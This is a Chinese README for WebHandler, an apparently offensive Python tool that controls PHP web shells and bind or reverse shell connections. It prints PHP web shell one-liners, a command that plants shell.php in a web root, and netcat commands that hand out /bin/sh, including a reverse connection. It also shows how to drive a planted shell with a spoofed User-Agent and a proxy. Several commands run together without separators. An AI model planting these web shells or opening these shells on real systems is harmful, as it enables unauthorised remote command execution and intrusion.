一个用于PHP系统函数的处理程序,同时也是‘netcat’处理程序的替代品
WebHandler试图模拟一个‘Linux bash提示符’来处理和处理:
- PHP程序执行函数 _(例如 `system`、`passthru`、`exec` 等)_
- 绑定Shell连接
- 反向Shell连接
另一个功能是伪造HTTP头中的“User-Agent”字段。(--random-angent)。
它还支持HTTP代理(--proxy http://<ip>:<port>)
WebHandler适用于POST和GET请求:
<?php system($_GET['cmd']); ?><?php passthru($_REQUEST['cmd']); ?><?php echo exec($_POST['cmd']); ?>WebHandler是netcat连接的替代品。
一个绑定连接的例子(例如 nc -lvvp 1234 -e /bin/sh)
通常用户会这样做:
netcat -l -p 1234nc -lvvp 1234一个反向连接的例子(例如 nc 127.0.0.1 4321 -e /bin/sh)
通常用户会这样做:
netcat -l -p 4321nc -lvvp 4321--Example file:
echo '<?php system($_GET['cmd']); ?>' > /var/www/shell.php--url 是发送GET或POST请求时的必需参数(例如基于Web的PHP绑定连接):
python webhandler.py --url http://www.mywebsite.com/shell.php?cmd=python webhandler.py --url http://www.mywebsite.com/shell.php --method POST --parameter cmdpython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --random-agent --turbopython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080--listen 是等待连接时的必需参数(例如原始反向连接):
python webhandler.py --listen 1234如果你的 Python 版本低于 2.7.x,则 argparse 是必需的
运行以下命令安装:sudo (apt-get|yum) install python-setuptools && sudo easy_install argparse 或者 sudo pip --install argparse。
readline 是可选的。 该模块用于提供丰富的行编辑和历史记录功能。
git 是可选的。 这使得项目能够保持最新。